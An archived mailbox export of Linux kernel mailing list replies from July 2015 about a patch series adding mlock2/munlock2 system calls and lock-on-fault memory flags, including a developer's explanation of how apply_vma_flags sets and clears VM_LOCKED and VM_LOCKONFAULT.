X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V3 0/5] Allow user to request memory to be locked on page
 fault
Date: Wed, 8 Jul 2015 09:23:02 -0400
Lines: 76
Approved: news@gmane.org
Message-ID: <20150708132302.GB4669@akamai.com>
References: <1436288623-13007-1-git-send-email-emunson@akamai.com>
 <20150707141613.f945c98279dcb71c9743d5f2@linux-foundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="3uo+9/B/ebqu+fSQ"
X-Trace: ger.gmane.org 1436361798 11091 80.91.229.3 (8 Jul 2015 13:23:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 Jul 2015 13:23:18 +0000 (UTC)
Cc: Shuah Khan <shuahkh@osg.samsung.com>, Michal Hocko <mhocko@suse.cz>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	Vlastimil Babka <vbabka@suse.cz>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Wed Jul 08 15:23:09 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZCpJZ-00015L-UM
	for glkm-linux-mm-2@m.gmane.org; Wed, 08 Jul 2015 15:23:06 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id B702D6B0255; Wed,  8 Jul 2015 09:23:04 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id AF9C46B0259; Wed,  8 Jul 2015 09:23:04 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 9E8266B025A; Wed,  8 Jul 2015 09:23:04 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qk0-f173.google.com (mail-qk0-f173.google.com [209.85.220.173])
	by kanga.kvack.org (Postfix) with ESMTP id 7276B6B0255
	for <linux-mm@kvack.org>; Wed,  8 Jul 2015 09:23:04 -0400 (EDT)
Original-Received: by qkhu186 with SMTP id u186so162634835qkh.0
        for <linux-mm@kvack.org>; Wed, 08 Jul 2015 06:23:04 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:date:from:to:cc:subject
         :message-id:references:mime-version:content-type:content-disposition
         :in-reply-to:user-agent;
        bh=lzIkkoOa3Q5e9lkJwY01FzwW/IoyeadOP77emytxfUQ=;
        b=DNn1NSEMaxgbgc/EiuFHVnh9hXVjU1MwjoX6yVY7PXW+8S1gLkdMgShvB7ATqZFxHD
         845S/0UQKPD7myiwFkoqW65JbQ0QrKT46vS5HyXcUHvTNdNMJvQdQOSX9v/0O6zbF7d8
         iUi5dJZAqco9kgVWd0ybyzdu81kfcoygiGNsAr3dhtlxPpz6VbqgBmyey4oNMV4ZQREO
         oOkMIt3nEcKtWAufCCbpk857ho6qaEnThoogBieyUWf77hgybjOY4/lX/dgEm5ArpKGh
         aqQJmRln3oqdqaVeCGk/AvjotvuW1KXtTh0oNWbowNBR9zW/Gr3RE27370cgh4Bo7s/e
         gbTw==
X-Gm-Message-State: ALoCoQlKf+4/KDYP2XnVEuDN6CMOc7j/1EEe9IWJf/pzwfytD9XpZ0vColhBV+IJS7s0TLgqkGitjnmBbK+elr17EjSJZ2pWLJLA1xzNha+wplHnrMilwX8R2HCVdNDVKxv1xz6sr0zufzY+ciAmzpAH4rbas7VIKxvfto/sh8eZz6zqyINRP7j5dcPExlHk5fre6oXDcE4/
X-Received: by 10.140.94.196 with SMTP id g62mr15945374qge.72.1436361784259;
        Wed, 08 Jul 2015 06:23:04 -0700 (PDT)
X-Received: by 10.140.94.196 with SMTP id g62mr15945307qge.72.1436361783780;
        Wed, 08 Jul 2015 06:23:03 -0700 (PDT)
Original-Received: from prod-mail-xrelay02.akamai.com (prod-mail-xrelay02.akamai.com. [72.246.2.14])
        by mx.google.com with ESMTP id g193si2646801qhc.81.2015.07.08.06.23.03
        for <linux-mm@kvack.org>;
        Wed, 08 Jul 2015 06:23:03 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) client-ip=72.246.2.14;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) smtp.mail=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 2732928EF9;
	Wed,  8 Jul 2015 13:23:03 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id F1BDD28EF8;
	Wed,  8 Jul 2015 13:23:02 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1436361783; bh=d11g5zz9OatcQXuEJTbm0pCbFxylyvltnNy9/SCYESg=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=qgIvIKv9Oo4wLL9RsnnfRL5h6RxV6AZCA+IMe6UQV6uljzby2Ypa9IElAC7yJI5fZ
	 UW57b+Pc115OAFvwduD8zynOYQytK2S/XqWpFWWv0x+ugESRgQMqpC+/0NLqzJYBpR
	 NjjtOnpnWsgjFTop16+gvf6peOoHqhLEtpYqyp+Q=
Original-Received: from akamai.com (lappy-486.kendall.corp.akamai.com [172.28.12.253])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id E7E3380085;
	Wed,  8 Jul 2015 13:23:02 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20150707141613.f945c98279dcb71c9743d5f2@linux-foundation.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:135297 gmane.linux.ports.alpha:3179 gmane.linux.kernel:1991678 gmane.linux.ports.mips.general:49271 gmane.linux.ports.parisc:25812 gmane.linux.ports.ppc64.devel:114987 gmane.linux.ports.sparc:21213 gmane.linux.kernel.cross-arch:28248 gmane.linux.kernel.api:12621
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/135297>


--3uo+9/B/ebqu+fSQ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Tue, 07 Jul 2015, Andrew Morton wrote:

> On Tue,  7 Jul 2015 13:03:38 -0400 Eric B Munson <emunson@akamai.com> wro=
te:
>=20
> > mlock() allows a user to control page out of program memory, but this
> > comes at the cost of faulting in the entire mapping when it is
> > allocated.  For large mappings where the entire area is not necessary
> > this is not ideal.  Instead of forcing all locked pages to be present
> > when they are allocated, this set creates a middle ground.  Pages are
> > marked to be placed on the unevictable LRU (locked) when they are first
> > used, but they are not faulted in by the mlock call.
> >=20
> > This series introduces a new mlock() system call that takes a flags
> > argument along with the start address and size.  This flags argument
> > gives the caller the ability to request memory be locked in the
> > traditional way, or to be locked after the page is faulted in.  New
> > calls are added for munlock() and munlockall() which give the called a
> > way to specify which flags are supposed to be cleared.  A new MCL flag
> > is added to mirror the lock on fault behavior from mlock() in
> > mlockall().  Finally, a flag for mmap() is added that allows a user to
> > specify that the covered are should not be paged out, but only after the
> > memory has been used the first time.
>=20
> Thanks for sticking with this.  Adding new syscalls is a bit of a
> hassle but I do think we end up with a better interface - the existing
> mlock/munlock/mlockall interfaces just aren't appropriate for these
> things.
>=20
> I don't know whether these syscalls should be documented via new
> manpages, or if we should instead add them to the existing
> mlock/munlock/mlockall manpages.  Michael, could you please advise?
>=20

Thanks for adding the series.  I owe you several updates (getting the
new syscall right for all architectures and a set of tests for the new
syscalls).  Would you prefer a new pair of patches or I update this set?

Eric

--3uo+9/B/ebqu+fSQ
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVnSQ2AAoJELbVsDOpoOa9jHcP/RLEmYajmHZ/hRFflieosbLl
xfDDa3xIpZh7VCBCdjAu96XR7jc5Af66dF7GpeB2Vqv/PAI739slpzUqyaXSdEK9
1HpgGkjAHYagYa/BSLRpmDCYKGph2zWsKEUK0xrCaRKbAwytEk2rw863ZoFHM4tv
sftQYCqhB5bkdEQuVu4Hl9D7k9CnrshKl5rURSe+Ub5nj44W47IUyjFugRDi1eRO
WbddZd8e9av7Qte7l1rtQMxch/L4WM5LICujQx9FrNiz0Cb/flG6v3JvW1G50fym
NINBwp64GAbE4jYxpvn5zvIHc9IU8G1As6B7tcXTBzPnjx1zQQuxP7pTmpVoAsVQ
dhJndlDWt3RhdcPz2QDtd9EbUvDdyeLmeyWciB1cx7CZbxnwzqiSXMVzswEqbXiq
RPTEON/PJ3IsyeQ1Pi/Ygnf/LQVwQtYAut+fZZKUIEofARkUGf6V2ReWDdrBB2t5
zdOL4Qgr+GNGpaPqp3kr+vcF7ouIFa7ldH7OblI9yqQHufVFX8slDLtial6j4xXa
D6oU0KUJCjusSpSTbm+KxFPuaC1O+v4lit/GoMvIcdFC6CS5a/hZK+e1QNfOFCh3
uwVDY1DpI0Qq4ESNAFgjyf/HgiKZUPwvTy5zeq42esGbvhBHgIl62NCrk96JYCoO
nkBCH/HT50sOYD+mO/s8
=+7yp
-----END PGP SIGNATURE-----

--3uo+9/B/ebqu+fSQ--

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.api
Subject: Re: [PATCH V3 0/5] Allow user to request memory to be locked on
 page fault
Date: Wed, 8 Jul 2015 10:00:08 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20150708100008.e8a000ec.akpm@linux-foundation.org>
References: <1436288623-13007-1-git-send-email-emunson@akamai.com>
	<20150707141613.f945c98279dcb71c9743d5f2@linux-foundation.org>
	<20150708132302.GB4669@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1436374830 9096 80.91.229.3 (8 Jul 2015 17:00:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 Jul 2015 17:00:30 +0000 (UTC)
Cc: Shuah Khan <shuahkh@osg.samsung.com>,
	Michal Hocko <mhocko@suse.cz>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	Vlastimil Babka <vbabka@suse.cz>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Jul 08 19:00:22 2015
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1ZCshH-0005r8-OB
	for glka-linux-arch@plane.gmane.org; Wed, 08 Jul 2015 18:59:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932854AbbGHQ7p (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 8 Jul 2015 12:59:45 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:33271 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758858AbbGHQ7n (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 8 Jul 2015 12:59:43 -0400
Original-Received: from localhost (c-67-161-9-76.hsd1.ca.comcast.net [67.161.9.76])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id 61C5CABA;
	Wed,  8 Jul 2015 16:59:42 +0000 (UTC)
In-Reply-To: <20150708132302.GB4669@akamai.com>
X-Mailer: Sylpheed 2.7.1 (GTK+ 2.18.9; x86_64-redhat-linux-gnu)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:28252 gmane.linux.ports.alpha:3180 gmane.linux.kernel:1991935 gmane.linux.ports.mips.general:49276 gmane.linux.ports.parisc:25813 gmane.linux.ports.ppc64.devel:114989 gmane.linux.ports.sparc:21214 gmane.linux.kernel.mm:135308 gmane.linux.kernel.api:12632
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/28252>

On Wed, 8 Jul 2015 09:23:02 -0400 Eric B Munson <emunson@akamai.com> wrote:

> > I don't know whether these syscalls should be documented via new
> > manpages, or if we should instead add them to the existing
> > mlock/munlock/mlockall manpages.  Michael, could you please advise?
> > 
> 
> Thanks for adding the series.  I owe you several updates (getting the
> new syscall right for all architectures and a set of tests for the new
> syscalls).  Would you prefer a new pair of patches or I update this set?

It doesn't matter much.  I guess a full update will be more convenient
at your end.


From - Thu Nov 08 21:37:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jonathan Corbet <corbet@lwn.net>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.api
Subject: Re: [PATCH V3 3/5] mm: mlock: Introduce VM_LOCKONFAULT and add
 mlock flags to enable it
Date: Wed, 8 Jul 2015 13:23:51 -0600
Organization: LWN.net
Lines: 23
Approved: news@gmane.org
Message-ID: <20150708132351.61c13db6@lwn.net>
References: <1436288623-13007-1-git-send-email-emunson@akamai.com>
	<1436288623-13007-4-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1436383443 24640 80.91.229.3 (8 Jul 2015 19:24:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 Jul 2015 19:24:03 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Jul 08 21:23:58 2015
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1ZCuwn-0003iw-4j
	for glka-linux-arch@plane.gmane.org; Wed, 08 Jul 2015 21:23:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755713AbbGHTXz (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 8 Jul 2015 15:23:55 -0400
Original-Received: from tex.lwn.net ([70.33.254.29]:48516 "EHLO vena.lwn.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755142AbbGHTXx (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Wed, 8 Jul 2015 15:23:53 -0400
Original-Received: from lwn.net (localhost.localdomain [127.0.0.1])
	(using TLSv1 with cipher AES128-SHA (128/128 bits))
	(No client certificate requested)
	by vena.lwn.net (Postfix) with ESMTP id 666E81540042;
	Wed,  8 Jul 2015 13:23:52 -0600 (MDT)
In-Reply-To: <1436288623-13007-4-git-send-email-emunson@akamai.com>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:28254 gmane.linux.ports.alpha:3181 gmane.linux.kernel:1992017 gmane.linux.ports.mips.general:49280 gmane.linux.ports.parisc:25814 gmane.linux.ports.ppc64.devel:114993 gmane.linux.ports.sparc:21215 gmane.linux.kernel.mm:135312 gmane.linux.kernel.api:12637
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/28254>

On Tue,  7 Jul 2015 13:03:41 -0400
Eric B Munson <emunson@akamai.com> wrote:

> This patch introduces the ability to request that pages are not
> pre-faulted, but are placed on the unevictable LRU when they are finally
> faulted in.  This can be done area at a time via the
> mlock2(MLOCK_ONFAULT) or the mlockall(MCL_ONFAULT) system calls.  These
> calls can be undone via munlock2(MLOCK_ONFAULT) or
> munlockall2(MCL_ONFAULT).

Quick, possibly dumb question: I've been beating my head against these for
a little bit, and I can't figure out what's supposed to happen in this
case:

	mlock2(addr, len, MLOCK_ONFAULT);
	munlock2(addr, len, MLOCK_LOCKED);

It looks to me like it will clear VM_LOCKED without actually unlocking any
pages.  Is that the intended result?

Thanks,

jon

From - Thu Nov 08 21:37:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V3 3/5] mm: mlock: Introduce VM_LOCKONFAULT and add mlock
 flags to enable it
Date: Wed, 8 Jul 2015 16:34:56 -0400
Lines: 83
Approved: news@gmane.org
Message-ID: <20150708203456.GC4669@akamai.com>
References: <1436288623-13007-1-git-send-email-emunson@akamai.com>
 <1436288623-13007-4-git-send-email-emunson@akamai.com>
 <20150708132351.61c13db6@lwn.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="PuGuTyElPB9bOcsM"
X-Trace: ger.gmane.org 1436387712 28950 80.91.229.3 (8 Jul 2015 20:35:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 Jul 2015 20:35:12 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Jonathan Corbet <corbet@lwn.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 08 22:35:04 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZCw3b-0002ec-PG
	for glpp-linux-parisc@plane.gmane.org; Wed, 08 Jul 2015 22:35:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933912AbbGHUfA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 8 Jul 2015 16:35:00 -0400
Original-Received: from prod-mail-xrelay02.akamai.com ([72.246.2.14]:54951 "EHLO
	prod-mail-xrelay02.akamai.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S933886AbbGHUe6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 8 Jul 2015 16:34:58 -0400
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 2ED4628F87;
	Wed,  8 Jul 2015 20:34:57 +0000 (GMT)
Original-Received: from prod-mail-relay06.akamai.com (prod-mail-relay06.akamai.com [172.17.120.126])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id 0344428F7F;
	Wed,  8 Jul 2015 20:34:57 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1436387697; bh=emYz3NVAe+H1bFvfbzZa842185qLlqw3BIa1mTKfGlw=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=TeAIiwLeI7/xkTTdggdSkzWi5mvh+jFkRp+M2PhZrg6F2+S136KLA7utceZpJzGvX
	 Znfuissgm2qxLCIDo0GkfcIYjZN4rA7ZRQc8w+Z9OlP3ClxkZx0R9cRLAMhvFaq94s
	 9IVUNc8tlX1b2aSeeMxvu8ewdp/uuJbe3lBdJ+DA=
Original-Received: from akamai.com (lappy-486.kendall.corp.akamai.com [172.28.12.253])
	by prod-mail-relay06.akamai.com (Postfix) with ESMTP id F1C712027;
	Wed,  8 Jul 2015 20:34:56 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20150708132351.61c13db6@lwn.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25815 gmane.linux.ports.alpha:3182 gmane.linux.kernel:1992075 gmane.linux.ports.mips.general:49281 gmane.linux.ports.ppc64.devel:114995 gmane.linux.ports.sparc:21216 gmane.linux.kernel.mm:135313 gmane.linux.kernel.cross-arch:28259 gmane.linux.kernel.api:12640
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25815>


--PuGuTyElPB9bOcsM
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Wed, 08 Jul 2015, Jonathan Corbet wrote:

> On Tue,  7 Jul 2015 13:03:41 -0400
> Eric B Munson <emunson@akamai.com> wrote:
>=20
> > This patch introduces the ability to request that pages are not
> > pre-faulted, but are placed on the unevictable LRU when they are finally
> > faulted in.  This can be done area at a time via the
> > mlock2(MLOCK_ONFAULT) or the mlockall(MCL_ONFAULT) system calls.  These
> > calls can be undone via munlock2(MLOCK_ONFAULT) or
> > munlockall2(MCL_ONFAULT).
>=20
> Quick, possibly dumb question: I've been beating my head against these for
> a little bit, and I can't figure out what's supposed to happen in this
> case:
>=20
> 	mlock2(addr, len, MLOCK_ONFAULT);
> 	munlock2(addr, len, MLOCK_LOCKED);
>=20
> It looks to me like it will clear VM_LOCKED without actually unlocking any
> pages.  Is that the intended result?

This is not quite right, what happens when you call munlock2(addr, len,
MLOCK_LOCKED); is we call apply_vma_flags(addr, len, VM_LOCKED, false).
The false argument means that we intend to clear the specified flags.
Here is the relevant snippet:
=2E..
                newflags =3D vma->vm_flags;
                if (add_flags) {
                        newflags &=3D ~(VM_LOCKED | VM_LOCKONFAULT);
                        newflags |=3D flags;
                } else {
                        newflags &=3D ~flags;
                }
=2E..

Note that when we are adding flags, we first clear both VM_LOCKED and
VM_LOCKONFAULT.  This was done to match the behavior found in
mlockall().  When we are remove flags, we simply clear the specified
flag(s).

So in your example the state of the VMAs covered by addr and len would
remain unchanged.

It sounds like apply_vma_flags() needs a comment covering this topic, I
will include that in the set I am working on now.

Eric

--PuGuTyElPB9bOcsM
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVnYlwAAoJELbVsDOpoOa96jQQAMzj+srECYanjQL4rB5HSwhS
jfU2GPE5w8xLHqHEdoPmu/98FKAK7kNvhb4Ytdmssq+sHIS3sHbx2b4SFkMLDnM8
4hTQtkUaD9ti+HnmBvxbDYNfn2MGHlxtfhML88/tA3LPproe9aWWZGtn4xZ+TE96
Qbnb0X4WCKuT2blVmoQ2Uf1zT2eaGJmpWk+QEKrWqlLDtijNcHEXiNn+1odo8WJd
7rr/7tjO+4N6AhC+0NypU9JhFB0L5pxm1Au+U3L3N8Szq8palqGYZ76k7X2cdNrN
7bc3ghWSLnA6p6sw1T4PDcuLhDNnS4zdtodtBJK6aVVR6NmJSzB8xU//HqFb27RA
s+0Z/6U8Z1P58q/IvMay2hsqmNY2hobvpNlm59JJynX+ajMC0IrzYrB0CDAIoO5s
tx5O4LDrMMsU/av92mU0y8yqGZdiGBQsIWfKTklWvq9q6HbDGae/WoSsnV5zX/b8
zHpvJxCmRG92vEwb46mqSbnWbkzK10SVyZRohrTd35hmSkXHpEk2AWwLHriLMtD8
nF/mQYL88FSsXwDKoz2Iw3C6HPVR6lDS8kae5iY4C0umP8FFX7VuBYBXOn29E1U4
mKbYb/wKn9x4iI4IeyHLBN4m+4zY+pqhXNlNKQ3hOR3jgMXPQ2fx7mzoEiRwB40g
4dkKMXOml6uRVob09Ixx
=lbgU
-----END PGP SIGNATURE-----

--PuGuTyElPB9bOcsM--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jonathan Corbet <corbet@lwn.net>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V3 3/5] mm: mlock: Introduce VM_LOCKONFAULT and add
 mlock flags to enable it
Date: Wed, 8 Jul 2015 15:17:50 -0600
Organization: LWN.net
Lines: 33
Approved: news@gmane.org
Message-ID: <20150708151750.75e65859@lwn.net>
References: <1436288623-13007-1-git-send-email-emunson@akamai.com>
	<1436288623-13007-4-git-send-email-emunson@akamai.com>
	<20150708132351.61c13db6@lwn.net>
	<20150708203456.GC4669@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1436390280 4635 80.91.229.3 (8 Jul 2015 21:18:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 Jul 2015 21:18:00 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>
